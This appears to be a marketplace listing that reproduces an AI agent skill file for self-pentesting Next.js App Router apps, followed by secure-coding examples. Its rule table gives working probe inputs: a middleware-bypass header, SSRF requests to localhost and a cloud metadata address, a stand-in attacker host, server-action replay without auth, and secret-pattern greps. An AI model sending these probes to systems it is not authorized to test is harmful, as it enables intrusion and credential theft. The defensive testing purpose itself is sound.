agentsclimarketplace

Nextjs attack probe

Skill Dolphinllc/claude-security-skills/skills/offensive/web/nextjs-attack-probe

Authorized self-pentest probe targeting Next.js App Router-specific weaknesses. Tests NEXT_PUBLIC_* secret leakage in client bundles, server-action invocation without auth, ISR/cache poisoning via Vary mishandling, route-handler CORS misconfig, image proxy SSRF, and middleware matcher gaps. Use when the user asks to "pentest" their own Next.js app.From its SKILL.md

Install
npx -y skills add Dolphinllc/claude-security-skills --skill nextjs-attack-probe

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

4 things to look at

  • reads credentialsReads from 1 credential source: `.env`.
  • 1 stars1 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
  • runs commandsInstructs the agent to run 8 commands, including `GET /_next/static/chunks/*.js` and 7 more.
  • fetches URLsInstructs the agent to fetch 1 URL, including /api/revalidate?path=....

SKILL.md

5.6 KB, ~1.4k tokens by cl100k_base, as published. Nobody here has run it

Next.js Attack Probe

Authorized probe of a Next.js 13+ App Router app the user owns. Follow shared probing conventions — discover base URL from package.json scripts.dev (default next dev port 3000), next.config.{js,ts} serverRuntimeConfig, Dockerfile EXPOSE, or env (PORT). Never hardcode.

Next.js-specific attack surface

  • NEXT_PUBLIC_* env vars are baked into the client JS bundle. Any secret with that prefix is leaked to anyone who fetches the site.
  • Server Actions are reachable via crafted POSTs to any page, with Next-Action: <hash> header — no inherent auth.
  • /_next/data/<buildId>/...json (Pages Router) and route handlers are often forgotten in middleware matchers.
  • next/image proxy can be coerced into SSRF if images.remotePatterns is too permissive.
  • ISR revalidatePath/revalidateTag with user-influenced paths → cache poisoning.
  • x-middleware-subrequest header bypass (CVE-2025-29927 class) — Next.js < 15.1 patches.

Procedure

  1. Authorization preflight + base URL discovery.
  2. Pull build manifest: GET /_next/static/chunks/*.js (sample 1-2 main bundles); grep for NEXT_PUBLIC_ and obvious secret shapes.
  3. Probe per rule table.

Rules

IDSeverityProbeConfirmed when
NEXT-ENV-001criticalGET /_next/static/chunks/main-*.js and app/page-*.js; grep for sk-live, xoxb-, AKIA, JWT-shaped strings, _KEY=, _SECRET=A token-shaped string is present in shipped JS = NEXT_PUBLIC_* leak
NEXT-MW-001criticalIdentify a sensitive route guarded by middleware (/dashboard); send GET /dashboard with header x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware2xx = CVE-2025-29927 class bypass; require Next.js patch
NEXT-MW-002highTry /dashboard%20, /dashboard/, /dashboard?_rsc=1, /_next/data/<buildId>/dashboard.json2xx returns protected data = matcher excludes a variant
NEXT-SA-001highCapture a Next-Action: <hash> header from a logged-in user; replay the POST without cookies2xx + state change = server action runs without auth
NEXT-SA-002highReplay an admin server action with a non-admin user's session2xx state change = missing role check inside the action
NEXT-IMG-001highGET /_next/image?url=http://127.0.0.1:1&w=128&q=75 and ?url=http://169.254.169.254/latest/meta-data/Connection succeeds / metadata returned = images.remotePatterns too permissive
NEXT-IMG-002mediumGET /_next/image?url=https://evil.test/x.svg&w=128&q=75 with attacker host200 fetched arbitrary remote = host allowlist missing
NEXT-CACHE-001mediumIf revalidate webhook exists (POST /api/revalidate?path=...), send path=/admin200 + admin page now serves stale/poisoned content
NEXT-RH-001highOPTIONS /api/* with Origin: https://evil.test + credentialsACAO reflects + ACAC: true
NEXT-RH-002highFor each /api/* mutating route handler, unauthenticated POST2xx = no auth in handler
NEXT-DBG-001lowGET /__nextjs_original-stack-frame?..., /_next/static/development/_devPagesManifest.json200 = dev mode reachable in this environment
NEXT-VER-001lowInspect __next_data__ script tag for buildId; check headers for x-powered-by: Next.js; if version detectable, cross-ref recent CVEsVersion matches a known affected range

Special handling

  • NEXT-ENV-001 is the most common high-impact finding. When confirmed, list each leaked variable name (not value, unless explicitly requested) and the file path inside the bundle.
  • NEXT-MW-001 must be reported even if the patch is applied — the user may run multiple Next versions in monorepo.

Wrong vs. right

NEXT-ENV-001 (env leak)

// ❌ This ships to every browser
// .env
NEXT_PUBLIC_OPENAI_API_KEY=sk-live-...

// any component
const key = process.env.NEXT_PUBLIC_OPENAI_API_KEY;
// ✅ Server-only env, called from a route handler
// .env
OPENAI_API_KEY=sk-live-...

// app/api/chat/route.ts
export async function POST(req: Request) {
  const key = process.env.OPENAI_API_KEY;  // never sent to client
  // ...
}

NEXT-SA-001 (unauth server action)

// ❌
"use server";
export async function deleteAccount(id: string) {
  await db.user.delete({ where: { id } });
}
// ✅
"use server";
import { auth } from "@/auth";
import { z } from "zod";

const Schema = z.object({ id: z.string().uuid() });

export async function deleteAccount(input: unknown) {
  const session = await auth();
  if (!session?.user) throw new Error("Unauthorized");
  const { id } = Schema.parse(input);
  if (session.user.id !== id && session.user.role !== "admin") {
    throw new Error("Forbidden");
  }
  await db.user.delete({ where: { id } });
}

References

What ships with it

Read from the repository

Just SKILL.md. No reference files, no scripts.

Keep looking

Skills are one crate of 325,949. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.